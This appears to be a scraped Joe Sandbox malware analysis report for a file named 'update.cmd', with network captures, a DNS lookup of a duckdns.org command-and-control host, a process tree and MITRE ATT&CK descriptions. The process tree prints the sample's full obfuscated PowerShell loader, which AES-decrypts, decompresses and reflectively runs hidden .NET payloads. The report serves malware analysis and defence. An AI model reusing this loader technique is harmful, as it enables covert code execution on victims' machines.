May 23, 2024 21:09:16.723869085 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:16.770876884 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:16.774576902 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:16.782816887 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:16.782906055 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:16.787771940 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:27.056679964 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:27.062078953 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:27.062195063 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:27.067162991 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:27.360105038 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:27.411530018 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:27.493933916 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:27.496038914 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:27.501765966 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:27.501837969 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:27.506685972 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:28.452280045 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:28.505611897 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:28.589757919 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:28.645867109 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:37.787096977 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:37.812907934 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:37.812998056 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:37.820609093 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:38.104788065 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:38.149202108 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:38.234401941 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:38.236572981 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:38.241487980 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:38.241561890 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:38.246705055 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:48.551076889 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:48.556163073 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:48.556282043 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:48.561176062 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:48.890376091 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:48.942912102 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:49.014826059 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:49.018342018 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:49.023446083 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:49.027570009 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:49.034117937 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:49.896369934 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:49.902239084 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:49.903419971 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:49.908386946 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:50.200933933 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:50.255681038 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:50.334681988 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:50.336209059 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:50.341480970 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:50.341768980 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:50.346684933 CEST	8797	49704	12.202.180.134	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 21:05:50.027436972 CEST	62637	53	192.168.2.5	1.1.1.1
May 23, 2024 21:05:50.157893896 CEST	53	62637	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 21:05:50.027436972 CEST	192.168.2.5	1.1.1.1	0x4ee1	Standard query (0)	dhhj.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 23, 2024 21:05:50.157893896 CEST	1.1.1.1	192.168.2.5	0x4ee1	No error (0)	dhhj.duckdns.org		12.202.180.134	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	15:05:43
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\update.cmd" "
Imagebase:	0x7ff756a60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	15:05:43
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	15:05:43
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c "set __=^&rem"
Imagebase:	0x7ff756a60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:05:43
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\user\Desktop\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Imagebase:	0x7ff756a60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:05:43
Start date:	23/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Imagebase:	0x210000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report update.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ced35djj.vkw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmvedqd2.oy5.psm1

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Windows Analysis Report
update.cmd